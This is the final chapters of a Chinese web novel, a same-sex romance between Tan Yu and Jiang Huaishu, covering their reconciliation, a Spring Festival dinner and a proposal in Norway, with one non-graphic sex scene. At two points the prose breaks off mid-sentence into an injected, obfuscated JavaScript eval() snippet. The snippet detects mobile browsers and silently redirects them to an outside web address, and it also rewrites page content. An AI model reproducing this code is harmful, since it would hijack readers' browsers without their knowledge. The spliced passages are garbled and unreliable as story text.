谭俞签完名放下笔,勾唇冲她笑了笑:“可以啊。”说完,他接过女生的手机举起来,将镜头对准这边拍了几张。 拍完后女生拿起书走到了一边,笑着朝谭俞鞠了个躬:“谢谢鱼塘老师!!” 谭俞见状,朝她挥挥手,笑道:“没事没事,离开的时候注意安全。” 今天是作者签售会,天气不冷不热,进行得特别顺利,结束之后已经是傍晚,谭俞买了瓶水就上了车。 开车的时候他打了个电话给谭叶,谭叶那边过了几秒钟才接电话,应该是在打游戏。 “怎么了哥?”谭叶问。 谭俞扫了一眼车窗外,随后开口问谭叶:“小叶子你吃饭没有,没有我带点牛肉粉回家给你。” 谭叶说:“我吃过了,哥你不用买了,你开车的时候注意点安全。” 她语速很快,像是想赶紧说完话敷衍了事,谭俞听出来了,他有些想笑:“行,那我挂了。” “拜拜拜拜。” 谭俞他们家不远,开车要不了多长时间就到了,他将车开进地下停车场,食指转着车钥匙慢悠悠地走出来。 月光铺在地上形成白霜,谭俞踩在上面一步一步往家走去,这时手机消息铃声突兀地响起,他从兜里掏出手机,边点开微信边往前走,本来以为是段佳成的骚扰信息,但等他定睛一看,却发现竟是江淮书发来的,他心重重一跳,一时间停住了脚步。 H:[图片] H:香蕉不吃东西。 江淮书发来的图片里是香蕉趴在猫粮旁边眯着眼休息的场景,谭俞放大图片仔细看了几眼,果然,小西瓜碗里装的猫粮香蕉一口没吃,他心里顿时有些担心起来。 落潭:为什么啊,怎么了? 消息一发出去,那边的江淮书几乎是秒回,发了一张他抱着香蕉凑到镜头前的图片过来。 H:应该是想你了。 H:[图片] 谭俞点开图片,心跳又加快了许多。图片里房间的光线有些暗,落地灯的暖光照在江淮书狭长的凤眼上,细长的睫毛微微垂下,抱着香蕉看镜头,就像是透过手机去看谭俞一般,眼神说不上来的温柔。 这张图片配上这句话显得有些暧昧,谭俞不自觉地捏了一下手指,轻咬住舌尖,在屏幕上点了几下。 落潭:不太懂。 落潭:你发这个图片的意思是猫想我,还是你想我? H:你想知道么? H:来见我好不好。 落潭:你在哪? 最后一条消息发过去之后江淮书就没有再回了,谭俞盯着手机站在原地傻等了一会儿,随后放下手机闭上眼睛深吸了一口气,红晕染上了耳尖,他喃喃低语。 “操,心跳得好快。” 他话音刚落,手机突然来了电话,行动比脑子快,还没看清来人他就接通了电话,那边静了两秒,接着传来了江淮书的轻笑声。 “回头。” 谭俞一愣,回眸朝身后看去。 江淮书此时正站在小路对面的大树下,他穿着一身黑色大衣,身形笔直,清瘦高挑,抬着眸冲谭俞温柔地笑。 谭俞迈开步子向江淮书走去,刚开始是走,但他嫌太慢,便变成了小跑。电话不知什么时候被挂断了,江淮书站在暖光下向谭俞张开双臂,然后稳稳接住了对方。 他轻轻握住谭俞的手指,低声说:“手好凉,你只穿了件短袖,不冷吗?” 说着,他打开大衣将谭俞裹住,圈在了怀里。 “抱住我。” 熟悉的淡橘香缠绵在谭俞周围,暖意席卷全身,莫名地,谭俞脸红了,他搂住江淮书的脖子,扯了个话题。 “你刚刚不是说香蕉不吃东西吗?你不在家,是怎么知道的?” 江淮书将头埋进谭俞的颈窝,闻言轻笑了一声:“我骗你的。” “我想你,找借口跟你说话而已。” 他的声音又轻又柔,谭俞听得耳热,搂着脖子的手不自觉搂得更紧。江淮书注意到谭俞的小动作,轻轻勾了勾唇。 “你不想我吗?” 谭俞没有出声,只是吻了吻江淮书的脖颈,停了一会儿,他又偏过头吻住江淮书的脸,一直吻到唇边的小痣,江淮书没有动,任他亲。 不知吻了多久,谭俞慢慢将头退开了一点,两人的唇齿间拉开银丝,中间渐渐变细然后断开,谭俞又凑过去吻了吻江淮书的唇,颇有些欲求不满,意犹未尽的味道。 “第二次了。” 江淮书突然出声。 谭俞脑子懵了一下:“什么?” “你没有经过我同意吻了我两次,”江淮书看着他的眼睛说,“不给我个名分么?” 他的语气里没有生气的意味也没有严肃的气息,但听起来却格外认真,谭俞觉得可爱,莫名想笑:“你想要什么名分?” “我想……” 江淮书延长了声音,神情柔和地看着谭俞,模样像是在思考,接着,谭俞听见他说。 “我想成为你活着的理由。” 此话一出,谭俞愣住了。 江淮书向谭俞凑近,凑到他耳边一字一句道:“我想你无论遇到任何事第一个想到我,依靠我,离不开我。” “小俞,” 他吻谭俞的耳尖。 “说想我好不好?说爱我好不好?” 谭俞就这么被江淮书牢牢圈在怀里,逃不开也躲不掉,不过这一次,他不想逃也不想躲。 “江淮书,我发誓,”谭俞低声说,“我爱你。” “今后的每一天,我都会想你。” 江淮书闭上眼睛去吻谭俞,动作小心翼翼,带着珍视。 “好。” ————————————————————————— 天气渐渐入冬,天气预报还说下个星期会下雪,谭俞趁谭叶上学的这段时间去宠物店给香蕉挑了几件衣服。 “我说,你有没有在听我说话啊?”段佳成在电话里嚷嚷道。 谭俞拿着一件淡蓝色小毛衣在手中仔细端详,随口敷衍了一下段佳成:“嗯嗯嗯,我在听。” 听这语气段佳成就不满:“老谭你怎么这么敷衍,我真的要生气了。” 收银员将谭俞挑的几套小衣服全部打包了起来,随后递给了谭俞。 “一共105,您拿好。” 谭俞扫码付了款,抬眼冲她笑了笑:“谢谢。” 说完,谭俞提着袋子走出店门,无奈地对段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900368|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳成说:“我最近没时间玩游戏,你说的那些我也不懂啊,你要不换个话题?” “哎哟你早说啊,”段佳成嚷嚷,“跟你讲了这么多结果你啥也听不懂,浪费我口水。” 他撇撇嘴,问谭俞:“你跟江淮书真复合了?” 谭俞嗯了一声,说:“对。” “我的妈呀,虽然我没谈过恋爱,但是吧,我觉得复合就是食之无味弃之可惜啊,你俩复合是不是也是因为这样?” 谭俞一边听着段佳成说话一边上了车,他看着车里被放得好好的平安绳,一瞬间回忆起了曾经,他静了两秒,随后笑了。 “我觉得不是。” “我感觉复合就是再爱江淮书一遍,这没什么。” “啧啧啧,”那边的段佳成摇了摇头,叹气,“恋爱脑。” “先别说这个了,”谭俞说,“你跟李槿迟的事怎么样了?” 谭俞这么一说,段佳成立马哑巴了,安静了好一会儿都没说话,谭俞见状,难得严肃下来,认认真真道:“我觉得事情没这么简单吧?你说是你上了李槿迟,我觉得不像,你别来个被卖了还给别人数钱。” “我才没这么傻,”段佳成嘟囔着,转移了话题,“对了,今天你不用给小叶子准备晚餐了,等她放学我去接她,我要跟她去电玩城玩个爽。” 谭俞闻言没什么意见,只是提醒了一下段佳成:“小叶子今天生理期,天气冷,你别给她吃什么乱七八糟的东西,不然这小丫头又要痛经了。” “知道了知道了,”段佳成连连应声,“我要去换衣服了,古德拜。”话一说完,段佳成就将电话挂断。 谭俞将手机放在一旁,开车来到了江淮书家。 他一手提着香蕉的新衣服,一手输密码打开了大门。 “香蕉?” 谭俞喊了一声,不一会儿,楼梯拐角处便传来了动静,随后香蕉就出现在了谭俞的眼前,它一溜烟地跑过来,在谭俞脚边转圈,用脑袋不停地蹭谭俞的裤腿。 “喵——喵——喵——” 手里的袋子放下,谭俞蹲下身将它抱了起来,低头狠狠亲了它脑袋两口:“想死你了香蕉,你想不想我?” 香蕉将爪子上的肉垫放在谭俞脸上踩了两下,又“喵喵”叫了几声。 “我给你买了新衣服,”谭俞站起身,抱着它边上楼边说,“等我洗一下烘干给你试试。” 他带着香蕉来到房间里,随后把它放在一旁的小床上,转身下楼去了洗衣房。他将那些小衣服仔仔细细地用手洗了一遍,因为天冷,所以他用的温水清洗。 洗新衣服比平时快不少,毕竟只是做个清洁花不了多少时间,谭俞将它们清干净准备拿去烘干,就在这时,他的余光突然瞟到一扇门,他动作一停,心想看看里面是什么,于是便打开了那扇门。 一时间里面的暖气扑面而来,谭俞定睛一看,这个小房间里面摆着的全是花花草草,一片绿意盎然,有些绿植甚至还开了花。面对这样的场景他有些被惊艳住了,他在原地站了一会儿,接着抬腿迈开步子走了进去,他抬眸扫过一盆盆生机勃勃的盆栽,最终目光停在了最高处的一盆绿植上,那儿有一大片空位,却只摆了它一盆绿植。 那盆绿植他很熟悉,虽然没开花,但他依旧认得,那是梅城最常见的花种。 是茉莉花。 32. 完结 谭俞在江淮书家待了好一会儿,想着就这么坐在沙发上等江淮书下班回家,但没想到等着等着他就不知不觉闭上眼睛睡了过去,江淮书回来的时候看到的就是这样一副场景。 香蕉从谭俞身边起身伸了个懒腰,接着跳下沙发来到了江淮书腿边晃悠。 “喵——” 江淮书蹲下身伸手挠了挠香蕉的下巴,轻声笑了笑:“嘘,小俞在睡觉,我们不要吵他。” 说完,他便起身向谭俞走去。 客厅的空调开着暖气,谭俞没有穿外套,只穿了一件米白色的高领毛衣,他闭着眼侧躺在沙发上,长腿交叉,手缩在袖子里,呼吸平稳。江淮书走到谭俞身边,轻轻扯过旁边的毯子给谭俞盖上,他伸出指尖轻柔地拨弄了一下对方额前的碎发,随后垂眸仔细地将眼前的人看了个遍才准备直起身。 不知是不是动静太大,还没等江淮书动作谭俞的眼皮就动了动,睁开了双眼。两人猝不及防对视上,谭俞可能有些睡懵了,现在还没缓过来,眼神迷茫地看着江淮书的眼睛,江淮书勾了勾唇,凑过去吻了一下谭俞地眼皮,低声道:“抱歉,吵到你了,现在时间还早,你先好好睡着,我去做饭。” “别走。” 谭俞的声音还带着刚睡醒的沙哑,他伸出右手搂住江淮书的脖子,不让对方起身。 “我不走,”江淮书轻笑,“饿不饿,嗯?我去给你做小蛋糕好不好?” 他的手撑在谭俞的头顶,身上飘来的香气在谭俞四周缠绵,那香气不是往常的淡橘香,而是一股很清幽的冷香,谭俞扯了扯他的袖子,偏头凑过去闻。 “你喷香水了?” 江淮书看见身下的谭俞像小狗一样不停地嗅自己的袖子,眼里渐渐染上笑意。 “嗯,好闻么?” 他的问题谭俞没有立刻回答,只是抬起头冲他唇边的痣轻咬了一口:“你今天穿成这样又喷了香水,出去约会了?” 本以为刚复合谭俞还会别扭几天,没想到适应得这么快,江淮书去追吻谭俞的唇,低笑:“不敢。” 两人拥吻在一起,江淮书的指尖探进谭俞地衣摆抚上谭俞的腰,引得谭俞一阵颤粟,谭俞没有阻止他,任由他动作。 不知过了多久,两人吻毕,江淮书吻了吻谭俞的喉结,随后直起身退开了。 “吃点东西去楼上睡。”江淮书说。 谭俞扯着他的袖子坐了起来,点点头:“好。” 晚上江淮书睡的客房,没有跟谭俞睡一间,谭俞抱着香蕉躺在床上看电影,电影内容狗血俗套,演员演技也不咋地,把香蕉都给看睡着了,谭俞看了一会儿也觉得没意思,将电脑一关随手放在了一边。 他看着天花板发了一会儿呆,犹豫再三,还是起身走出房间下楼去了客房。 此时江淮书刚批好试卷正在洗澡,谭俞将门开了一个小缝仔细观察了一下里面的情况,见里面没有人便直接走了进去。房间的浴室里传来淅淅沥沥的水声,谭俞走到床边坐下,拿起杯子喝了口水就将头靠在枕头上等江淮书出来。 几分钟后,浴室里的水声停止,灯被关上,门被打开,江淮书从里面走了出来。他的发丝还在往下滴水,额前的碎发有些凌乱,没有衣服的衬托他看起来比平时还要难以接近,尤其是那双凤眼,虽湿漉漉的,但却很有冷感。 看见谭俞在他床上的时候他有些惊讶,接着就朝谭俞走了过去。 “睡不着么?” 谭俞没有说话,只是一动不动地看着江淮书向自己凑近,他们吻在一起时谭俞顺势倒在床上,他弯起桃花眼,伸手去解江淮书的浴袍。 “江老师,我想跟你睡。” 江淮书轻咬了一下谭俞的耳尖,轻笑了一声:“江老师家里没东西,会弄疼你的。” 耳边传来江淮书的声音,谭俞感觉心跳开始加快,他用腿去蹭江淮书,语气带着轻佻:“那江老师小心一点。” 说着,他偏头吻了一下江淮书的脸,低声说:“弄进来也没关系。” 江淮书闻言,解开了谭俞的睡衣扣子,开始向下吻去。 ...... 两人折腾了很久,最后谭俞实在撑不住,指甲在江淮书的后背划出红痕,崩溃似的哭出声。 江淮书压抑着喘息,低头吻去谭俞的泪水,最后将头埋进了谭俞的颈窝。 “宝宝,” “不要哭。” ————————————————————————— 过年的时候下了很大的雪,谭叶戴着厚厚的围巾跑到楼下堆雪人,段佳成本来也想跟着谭叶下楼疯玩,但被谭俞强行拉回来帮忙包饺子了,连门都出不去。 “老子以后再也不来你家过年了!”段佳成边调馅边吼道。 “哎呀,”谭俞冲段佳成谄媚一笑,“拜托拜托,帮帮我嘛,我一个人包不完。” 段佳成撇嘴,瞪了谭俞一眼:“那你包这么多干嘛?难不成你要约江淮书来啊,要是小叶子知道了不得被吓死。” 他一说完谭俞的动作顿时停住了。 “对哦,我还没跟小叶子说这事呢。” 段佳成包好一个饺子就往旁边扔,他包的那些饺子倒洋不土的,甚至有几个馅儿都破皮露出来了,他看见谭俞懊恼的神情,刚要幸灾乐祸损几句,谁知下一秒,谭叶就开门冲了进来。 “好冷啊!我还是不下去玩了,一会儿保不准得冻感冒,感冒难受死了。” “你怎么上来了?这下去还没十分钟呢,”段佳成说,“有这么冷吗?” “佳成哥,你下去玩玩就知道了。” 谭叶说罢,撸起袖子就赶过来帮忙。现在时机正好,段佳成朝谭俞使了使眼色,谭俞接收到信息,犹豫了几秒后冲谭叶开了口:“呃……小叶子,今天过年会有两个客人要来哦。” “谁啊?”谭叶没在意,随口问道。 不知道为什么,谭俞有些心虚,他不自觉地捏了一下手里的勺子,模样像是豁了出去一般。 “就是你的老师江淮书和他的一个朋友李槿迟。” 此话一出,谭叶顿时愣住,段佳成脸色也变了,两人看过来,异口同声地叫出声:“什么?!” 喊完之后三人又面面相觑,谭叶抢先一步问道:“为什么啊,家访吗?我怎么不知道?!” “不是家访,”谭俞尬笑,“是……呃……” “就是……就是我跟你们老师在一起了,他要来这儿跟我们一起过年。” 谭俞说完,谭叶手一抖,手里的饺皮瞬间掉在了地上。 “啊……?” 真是天塌了,班主任跟自己哥哥在一起了,而且还要带回来过年,这换谁谁接受得了? 这事对谭叶来说冲击力太大,她呆若木鸡地站在原地,一动不动。 谭俞小心地观察着谭叶的神情,问:“小叶子你,你对同性恋没什么意见吧?” “这是同不同性恋的问题吗?!”谭叶崩溃地说,“他,他是我班主任啊啊啊啊啊!!” “不行,到时候等他来我就躲进房间!” 段佳成举手附议:“诶加我一个!李槿迟来的时候我也跟你一起躲!” 见此情形,谭俞嘴角抽搐,心里莫名有种不祥的预感——今天这个年肯定会过得鸡飞狗跳。 这时,电话铃声响起,打断了谭俞的思路,他拿出手机一看,见个陌生号码,心里不免有些疑惑,他皱了皱眉,走到一边摁下了接听键。 “喂,您好,请问是哪位?” 电话那头的人沉默了两秒才开口,声音听起来客气又礼貌:“您好,是谭先生吗,我是陈氏集团的林秘书,听闻您跟小少爷关系一直很密切,您可以帮我一个忙吗,今天是董事长的忌日,您替我们劝说一下他让他回一趟陈家,这边可以给您报酬。” 陈氏集团?谭俞在心里嘀咕,有些摸不着头脑,但下一刻他的脑海里就闪过了一道熟悉的声音。 ——“我其实不姓江,江是我妈的姓,我应该叫陈淮书。” 这句话一出来谭俞的动作就停住了。 难道对面的人是在说江淮书么? 心里有了猜测,回忆如潮水般涌来,他回想起江淮书说过的小时候的遭遇,轻轻地扯了扯嘴角,语气轻描淡写地说:“不好意思,您找错人了,我认识的人里没有姓陈的。” 林秘书并不依饶,无视了谭俞的话:“您是小少爷的恋人吧?” 此问题一出,谭俞并没有回答,只是沉默着,林秘书也不急着说话,两人就这么不动声色地闭着嘴,时间一分一秒地过去,谭俞突然嗤笑出声,打破了僵持:“您真找错人了,我不认识什么小少爷,我的爱人也不姓陈。” “他姓江,叫江淮书,” 谭俞顿了顿,接着一字一句地说。 “他跟你们陈家没有什么关系,请不要再打来了。” ————————————————————————— 江淮书他们是傍晚来的,提了很多礼物和水果,谭叶和段佳成之前虽说都嚷嚷着要躲房间里去,但真等到这个时候却谁也没有躲起来,因为毕竟是过年,害怕归害怕,真这么干就太扫兴了,而且谭俞夹在中间也很难做。 吃饭的时候江淮书坐在谭俞的旁边,而谭叶又坐在江淮书对面,这场面令谭叶感到窒息,江淮书给她夹菜的时候她都快被吓得跳起来了。 一旁的段佳成没有像平时一样叽叽喳喳,奇迹般地安静,但李槿迟半点不尴尬,跟没事人一样该笑笑该吃吃。 很奇怪的氛围,几人就这么诡异地吃完了年夜饭。 段佳成率先放下碗筷,起身就准备逃:“我吃饱了,出去透透气。” 见段佳成离开餐桌,李槿迟也放下碗筷跟了上去:“我去抽根烟。” 两人一走,桌上就剩谭俞他们三个了。 “小叶,压岁钱给你转过去了,不够告诉我。”江淮书冲谭叶温和地勾了勾唇,笑着道。 班主任突然地搭话令谭叶吓了一跳,她故作镇定,干笑着跟江淮书说客套话:“不不不,这怎么好意思,江老师,这钱我不能收。” 谭俞将最后两个饺子夹在了谭叶的盘子里,随后挑了下眉:“平时问我要压岁钱的时候怎么没见你这么客气?” 听见谭俞这么说,谭叶撇撇嘴,瞪了一眼谭俞,江淮书在桌下悄悄捏了一下谭俞的手指,谭俞立马噤声。 “没事,小叶你收下吧,想买什么买什么。” 客套话已经说过了,推来推去也没意思,谭叶不好意思地抿了下嘴,转身朝江淮书鞠了一个躬,刚准备说“谢谢老师”,但她突然想到了他跟自己哥哥的关系,话到嘴边一下子就改了口:“谢谢……哥。” 听见这声哥时谭俞突然被呛到了,咳嗽个不停,江淮书抬眸看他,他脸红着拿起碗筷走进厨房。 “我,我去洗碗。” 冬天里的水特别冰,谭俞将指尖探进水池,刺骨的冰凉吞噬了暖意,他被冻得一激灵,脸上的热意压下去了些,心里默默吐槽谭叶这小丫头怎么突然改口,这听起来也太奇怪了。 就在他胡思乱想时,腰忽然被人从身后搂住了,他身体轻颤,刚偏头过去看嘴唇就被轻吻了一下。 “你嘴巴有点凉。”江淮书说。 谭俞将手上的水珠抹在江淮书脸上,勾唇:“你怎么进来了,小叶子呢?” “她说她要写作业。” “扯淡,”谭俞轻笑,“我看她是打游戏去了吧?” 江淮书轻抬眉梢,语气轻柔:“让她玩吧,没事,放松一下也好。” “哟,我们江老师这么通情达理啊?” “嗯。” “所以——”谭俞拖长了语气,“你进我厨房是想来帮我洗碗的还是想干点别的?” 江淮书伸手轻轻撩了一下谭俞的发丝,轻笑:“你闭上眼睛我就告诉你。” 谭俞听完,笑了,随后照做闭上了眼睛。 本以为江淮书会亲亲他的额头或者嘴唇,谁知对方却并没有这么做,只是往自己手里塞了两张纸张一样的东西。 “这是什么?”谭俞问。 江淮书回答:“机票。” 此话一出,谭俞睁开了眼睛:“去哪的机票?” 江淮书看着他的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900369|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微微低头向他凑近,低声笑笑。 “挪威。” ————————————————————————— 国内冬季的时候挪威刚好是春天,走之前谭俞还想着要不要大家一起去,但江淮书拒绝了,说谭叶和段佳成有李槿迟照顾,不用担心。 谭俞一来到酒店就往床上躺,嘴里哼哼唧唧:“累死我了。” 见他在床上躺尸,江淮书伸手摸了摸他的头,轻声说:“累了就歇歇吧,攻略我来安排。” 不得不说江淮书是真靠谱,出来玩谭俞根本什么都不用担心,跟着他走就行了。 第一站他们去了霍尔门考伦山,那是挪威最古老的滑雪场之一,不仅设施完善景色也特别美,但两人滑雪都还不怎么熟练,玩了一会儿过过瘾便离开了。 知道谭俞爱吃甜食,江淮书带他去吃了当地的许多特色甜品,谭俞比较爱吃的是布丁,于是便多带了几份回酒店。 他们住的酒店靠海,谭俞吃过晚饭就到海边撒欢。 江淮书跟在他身后,轻声喊道:“跑慢点。” “江淮书,”谭俞一头倒在沙滩上,仰着头冲江淮书笑,“你还记不记得我跟你刚认识那会儿我骗你喝海水的事?” 看着谭俞亮晶晶的眼睛,江淮书蹲下了身,垂下了眸子:“记得。” 谭俞哈哈笑了两声,随手抓了把沙子往旁边撒:“说起来你脾气还真好,我犯贱你都没凶我。” 说着,他翻过身支起下巴看着江淮书,冲对方勾唇。 “你是不是第一眼见我就喜欢我了,不然怎么会这么纵容我?” 江淮书伸手抚去谭俞脸上的沙子,轻声说:“因为舍不得凶你。” 他话说完,谭俞一下子就笑出了声,眉眼弯弯:“你喜欢我啊?” 面对谭俞的调侃江淮书并不否认,低声“嗯”了一声。 “江淮书,”谭俞凑近江淮书,语气神秘兮兮,“我给你变个魔术。” 谭俞说完,将双手捏成拳,手背朝上,伸到江淮书的面前:“你猜猜哪只手里有东西?” 江淮书很配合他,用了半分钟的时间思考。 “右手。” “恭喜你!”谭俞大喊,将右手打开,接着说,“猜错了!” 他摊开左手,指间不知道从哪夹出了一朵有些被压扁的嫣红的玫瑰花。 “好看吗?” 曾经谭俞无数次给他变过魔术,每次都是变花,虽然方式老套,但在江淮书这却永远适用。 “好看。” 谭俞勾了勾唇,支着身体坐了起来:“其实这个魔术很简单,来我教你。” 玫瑰花被谭俞塞进了江淮书的袖子里,谭俞嘴里念念有词:“就是将花放进衣袖里,枝干露出来一小点,然后将手翻过来的一瞬间抽出来就OK了。” “好,”江淮书点点头,“我学会了。” 谭俞说:“行,那你展示一下。” 江淮书学东西很快,而且这魔术也简单,他几乎是一次成功。 “嘿,你还挺聪明,”谭俞挑眉,“好了,现在是实践时间,我闭上眼你准备一下,让我来猜猜看,玫瑰花在你的哪只手。” 说完,谭俞闭上了眼睛。 大概是过了十多秒,他听见江淮书道:“可以了。” 他睁开眼,一脸自信地选了左手,江淮书看见他笑意潋滟,似乎是被传染似的也勾了勾唇:“真聪明。” 江淮书将左手伸到谭俞面前,但他并没有抽出玫瑰花,而是缓缓将手摊开,谭俞垂眸看向他的手心,顿时愣住了。 他的手心里既不是花也不是别的什么,而是一枚戒指。 “你愿意吗?” 谭俞听见他说。 “跟我有一个家。” 此时的谭俞别的什么都听不见,旁边来往交谈嬉闹的人群被隔绝,两人被透明的茧裹在了一起,眼里只有彼此。 前方的篝火燃得旺,发出噼里啪啦的声响,谭俞缓过神来,开玩笑似的说:“要是我不愿意呢?” 江淮书动作不变,笑意不变,凤眼里尽是温柔:“那就等下一年。” 这句话不知是戳中了谭俞的哪个笑点,他突然笑出了声,随后向江淮书那边挪了几步,把手放在对方的手心,两人一起握住了那枚戒指。 他低头抵住江淮书的额头,轻声道:“可是我不舍得你等。” 手上传来些许冰凉的触感,戒指被戴上,两人不约而同地向对方凑近,吻在了一起。 之后他们又在挪威玩了好几天,逛了很多地方,江淮书之前一个人在挪威拍的照片渐渐被取代,现在放上去的几乎每一张都有谭俞的身影。 今晚他们在松恩峡湾露营,相约一起看日出,两人喝着酒,从南聊到北,喝到微醺的时候谭俞靠在江淮书肩上嗅他身上的香气,嘴里嘀嘀咕咕地念叨着“我爱你”,江淮书将他搂紧怀里,低声哄着他入睡。 闹钟是被调好的,四点多就响了起来,谭俞拉着江淮书跑出帐篷,看着太阳一点一点升起,他将手放到嘴边,然后大喊。 “啊!!!!” “好美啊!!!” 他笑。 “江淮书!!!你在哪里?!!!!” 两人十指相扣,江淮书也冲着远方大喊:“在谭俞身边!!!!” “我爱你!!”谭俞又喊,“你听到了吗?!!!” 江淮书回应他:“我听到了!!!” 他们像神经病一样喊了好一会儿,太阳越升越高,江淮书松开手让谭俞往前跑,谭俞迈开步子迎着朝阳跑去。 他跑到离悬崖边不远处的顶上站定,高空飞翔的鸟儿越过他的头顶飞向南边岛,风吻过谭俞的脸颊,撩起他的发丝,日出的光晕烧进眼底,江淮书冲谭俞大喊。 “谭俞,看我!” 谭俞闻声回眸,看向了江淮书的镜头,他高举戴着戒指的那只手,笑得张扬肆意,一只纯白的蝴蝶恰好停留在他的指尖。 相机被按下快门,画面定格在那一秒。 这个瞬间,热恋开始。 —全文完—